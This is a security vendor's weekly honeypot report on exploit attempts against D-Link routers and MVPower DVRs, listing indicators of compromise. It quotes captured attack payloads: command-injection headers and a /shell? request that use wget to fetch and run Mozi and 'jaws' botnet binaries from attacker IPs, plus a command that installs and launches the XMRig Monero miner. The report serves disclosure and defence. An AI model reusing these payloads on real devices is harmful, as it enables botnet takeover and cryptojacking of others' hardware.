Honeypots: Exploit attempts on vulnerable IoT devices (week 38)

<https://www.linkedin.com/sharing/share-offsite/?url=https%3A%2F%2Ftehtris.com%2Fen%2Fblog%2Fexploit-attempts-attempts-on-vulnerable-iot-devices-week-38%2F&fromSource=on-vulnerable-iot-devices-week-38%2F&fromSource=on-vulnerable-iot-devices-week-38%2F>

This week, on TEHTRIS Deceptive Response Network, our Threat Research team monitored exploit attempts on vulnerable IoT devices such as D-Link routers and MVPower DVR, in attempts to enroll devices in botnets or to mine cryptocurrencies.
(<https://tehtris.com/en/>).

- ▶ [Exploit attempts on vulnerable D-Link routers](#)
 - ▶ [Downloading Mozi botnet](#)
 - ▶ [Downloading a cryptominer](#)
 - ▶ [Mirai malware targeting vulnerable MVPower DVR](#)
-

Exploit attempts on vulnerable D-Link routers

TEHTRIS observed malicious activities aiming at identifying and exploiting vulnerable D-Link routers.

Downloading Mozi botnet

These exploit attempts against vulnerable D-Link routers might be linked to a campaign uncovered by Palo Alto security researchers in August[1] (<https://unit42.paloaltonetworks.com/moobot-d-link-devices/>), which aimed at spreading MooBot, a variant of the Mirai malware botnet targeting vulnerable Linux devices. The compromised devices would then be part of a botnet army and be used to launch DDoS attacks.

The URL request is /HNAP1/. The HTTP header contains the following entries:

```
[ 'soapaction: http://purenetworks[.]com/HNAP1/`cd /tmp && rm -rf * && wget  
http://101.0.32[.]235:58211/Mozi.m && chmod 777 /tmp/Mozi.m && /tmp/Mozi.m`', 'content-  
type: text/xml; charset="utf-8"' ]
```

- a “Soapaction” entry with a purenetworks URL (used to exploit the vulnerability)
- a sequence of Unix (Linux) commands to launch the following actions :
 1. `cd /tmp` : to move in the /tmp repertory (where all temporary files are located)
 2. `rm -rf *` : to delete all files located in the current folder (/tmp) to “clean” the environment and to make sure that the following steps run smoothly
 3. `wget http://101.0.32[.]235:58211/Mozi.m` : to download the file Mozi.m from the threat actor IP address on port 58211.
 4. `chmod 777 /tmp/Mozi.m` : to give execution rights to the file Mozi.m
 5. `/tmp/Mozi.m` : to execute the file Mozi.m (which is a botnet).

The following 34 IP addresses and ports were referred to in the wget command (IoC):

IP	PORT	COUNTRY	AS
(https://tehris.com/en/) 102.33.43[.]180	41657	ZA	AS327782 METROFIBRE-NETWORX

59.92.167[.]106	43448	IN	AS9829 NATIONAL INTERNET BACKBONE

Downloading a cryptominer

TEHTRIS also observed attempts to exploit D-Link routers vulnerabilities to download a cryptominer.

The HTTP header contains the following entries:

```
[ 'accept-encoding: gzip, deflate', 'soapaction:
"http://purenetworks.com/HNAP1/GetDeviceSettings/"`cd && cd tmp && export PATH=$PATH:. &&
cd /tmp; rm -rf xmr*; pkill xmrig*; wget
https[:]//github[.]com/xmrig/xmrig/releases/download/v6.18.0/xmrig-6.18.0-linux-x64.tar.gz
&& tar -xvf xmrig-6.18.0-linux-x64.tar.gz && cd xmrig-6.18.0 && screen ./xmrig -o
stratum+tcp://randomxmonero.auto.nicehash.com:9200 -u
31pTFN66yAMH2MGnus7fhsTcA4uGJJ2D7J.test -p x -k --nicehash --coin monero -a rx/0; ./xmrig
-o stratum+tcp://randomxmonero.auto.nicehash.com:9200 -u
31pTFN66yAMH2MGnus7fhsTcA4uGJJ2D7J.test -p x -k --nicehash --coin monero -a rx/0`"',
'accept: */*', 'connection: keep-alive']
```

The attacker tries to download the cryptominer XMRig from GitHub and to mine Monero cryptocurrency.

The following 4 IP addresses sent this request on TEHTRIS' honeypots (IoC):

IP	Country	AS
34.159.120[.]111 (https://tehtris.com/en/)	DE	AS396982 GOOGLE-CLOUD-PLATFORM
34.89.116[.]57	GB	
104.196.255[.]198	US	
34.85.144[.]234	US	

This type of headers (« *soapaction: "http://purenetworks.com/HNAPI/GetDeviceSettings/"* *cd && cd tmp && export PATH=\$PATH:.* *&&* ») are used by a Metasploit module and can be customized with what is added afterwards. Therefore, it is a very well-known method and easily accessible to low-skilled hackers.

TEHTRIS recommends updating your D-Link routers to patch the vulnerabilities used in these kinds of attacks.

Mirai malware targeting vulnerable MPower DVR

Moreover, TEHTRIS detected specific traces of the Mirai malware that turns Linux-running devices into remotely controlled bots. Indeed, http/HTTPS requests were associated to User Agents changed to “Hello, world”, which is typical of Mirai malware activities. This constitutes an initial step of the Mirai botnet before downloading malicious executables.

These malicious activities emanated from 465 different IP addresses during week 38.

The following request was observed:

```
/shell?cd+/tmp;rm+-rf+*;wget+185.216.71.192/jaws;sh+/tmp/jaws
```

The attacker tries to exploit a Shell Command Execution vulnerability on MPower digital video recorders which may allow remote attackers to execute commands on vulnerable systems.

Malicious servers called by the wget command (IoC):

IP / Domain Name	PORT	Country	ADDITIONAL INFORMATION
